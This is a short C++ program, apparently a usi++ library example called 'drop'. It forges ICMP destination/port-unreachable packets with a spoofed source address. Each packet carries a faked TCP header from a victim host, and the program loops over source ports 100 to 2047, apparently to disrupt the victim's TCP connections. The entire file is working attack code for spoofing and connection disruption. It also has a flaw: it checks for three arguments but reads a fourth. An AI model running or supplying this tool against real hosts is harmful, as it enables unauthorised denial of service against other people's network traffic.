1 #include <iostream>
2 #include <usi++/usi++.h>
3 #include <string>
4 #include <stdlib.h>
5 #include <string.h>
6 #include <errno.h>
7 #include <usi++/usi-structs.h>
8
usage()9 void usage()
10 {
11 cout<<"Usage: drop <srcaddr> <srcport> <dstaddr>\n"
12 <<" 'srcaddr' is the host that should send the ICMP packet\n\n";
13 exit(1);
14 }
15
main(int argc,char ** argv)16 int main(int argc, char **argv)
17 {
18 if (argc < 3)
19 usage();
20
21 string srcaddr(argv[1]), dstaddr(argv[3]);
22 int srcport = atoi(argv[2]);
23 char payload[sizeof(iphdr) + sizeof(tcphdr)];
24 memset(payload, 0, sizeof(payload));
25
26 // build a faked packet that victum has sent
27 TCP *tcp = new TCP(dstaddr.c_str());
28 tcp->set_dst(srcaddr.c_str());
29 tcp->set_src(dstaddr.c_str());
30 tcp->set_dstport(srcport);
31 tcp->set_flags(TH_PUSH|TH_ACK);
32
33 ICMP *icmp = new ICMP(dstaddr.c_str());
34
35 icmp->set_src(srcaddr.c_str());
36 icmp->set_type(ICMP_DEST_UNREACH);
37 icmp->set_code(ICMP_PORT_UNREACH);
38
39 for (int i = 100; i < 2048; ++i) {
40 tcp->set_srcport(i);
41 iphdr iph = tcp->get_iphdr();
42 tcphdr tcph = tcp->get_tcphdr();
43
44 memcpy(payload, &iph, sizeof(iph));
45 memcpy(payload+sizeof(iph), &tcph, 8);
46
47 icmp->sendpack(payload, sizeof(iph)+8);
48 usleep(10000);
49 }
50
51 delete icmp;
52 delete tcp;
53
54 return 0;
55 }
56
57